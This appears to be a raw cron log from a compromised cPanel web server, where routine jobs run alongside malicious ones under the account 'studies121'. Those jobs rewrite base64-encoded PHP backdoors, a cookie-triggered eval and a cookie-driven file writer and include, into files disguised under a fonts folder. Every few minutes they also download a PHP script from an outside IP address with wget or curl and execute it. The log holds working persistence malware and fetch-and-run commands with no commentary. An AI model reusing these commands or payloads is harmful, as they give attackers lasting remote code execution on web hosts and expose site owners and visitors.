Sep 22 18:46:01 ip-184-168-122-23 CROND[2518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:46:01 ip-184-168-122-23 CROND[2519]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 18:46:01 ip-184-168-122-23 CROND[2520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:46:01 ip-184-168-122-23 CROND[2522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:46:01 ip-184-168-122-23 CROND[2523]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 18:46:01 ip-184-168-122-23 CROND[2521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:47:01 ip-184-168-122-23 CROND[2651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:47:01 ip-184-168-122-23 CROND[2650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:47:01 ip-184-168-122-23 CROND[2652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:47:01 ip-184-168-122-23 CROND[2656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:48:01 ip-184-168-122-23 CROND[2761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:48:01 ip-184-168-122-23 CROND[2762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:48:01 ip-184-168-122-23 CROND[2763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:48:01 ip-184-168-122-23 CROND[2767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:48:01 ip-184-168-122-23 CROND[2769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:49:02 ip-184-168-122-23 CROND[3216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:49:02 ip-184-168-122-23 CROND[3217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:49:02 ip-184-168-122-23 CROND[3220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:49:02 ip-184-168-122-23 CROND[3219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:50:01 ip-184-168-122-23 CROND[3484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:50:01 ip-184-168-122-23 CROND[3487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:50:01 ip-184-168-122-23 CROND[3491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:50:01 ip-184-168-122-23 CROND[3489]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 18:50:01 ip-184-168-122-23 CROND[3492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:50:01 ip-184-168-122-23 CROND[3490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:50:01 ip-184-168-122-23 CROND[3493]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 18:50:01 ip-184-168-122-23 CROND[3495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 18:50:01 ip-184-168-122-23 CROND[3494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 18:51:01 ip-184-168-122-23 CROND[3861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:51:01 ip-184-168-122-23 CROND[3863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:51:01 ip-184-168-122-23 CROND[3865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:51:01 ip-184-168-122-23 CROND[3864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:52:01 ip-184-168-122-23 CROND[4216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:52:01 ip-184-168-122-23 CROND[4217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:52:01 ip-184-168-122-23 CROND[4218]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:52:01 ip-184-168-122-23 CROND[4220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:52:01 ip-184-168-122-23 CROND[4219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:53:01 ip-184-168-122-23 CROND[4483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:53:01 ip-184-168-122-23 CROND[4485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:53:01 ip-184-168-122-23 CROND[4489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:53:01 ip-184-168-122-23 CROND[4487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:54:01 ip-184-168-122-23 CROND[4915]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:54:01 ip-184-168-122-23 CROND[4916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:54:01 ip-184-168-122-23 CROND[4917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:54:01 ip-184-168-122-23 CROND[4918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:54:01 ip-184-168-122-23 CROND[4919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:55:01 ip-184-168-122-23 CROND[5201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:55:01 ip-184-168-122-23 CROND[5202]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 18:55:01 ip-184-168-122-23 CROND[5204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:55:01 ip-184-168-122-23 CROND[5203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:55:01 ip-184-168-122-23 CROND[5205]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 18:55:01 ip-184-168-122-23 CROND[5207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:56:01 ip-184-168-122-23 CROND[5424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:56:01 ip-184-168-122-23 CROND[5426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:56:01 ip-184-168-122-23 CROND[5427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:56:01 ip-184-168-122-23 CROND[5430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:56:01 ip-184-168-122-23 CROND[5433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:57:01 ip-184-168-122-23 CROND[5631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:57:01 ip-184-168-122-23 CROND[5632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:57:01 ip-184-168-122-23 CROND[5636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:57:01 ip-184-168-122-23 CROND[5635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:58:01 ip-184-168-122-23 CROND[6002]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:58:01 ip-184-168-122-23 CROND[6003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
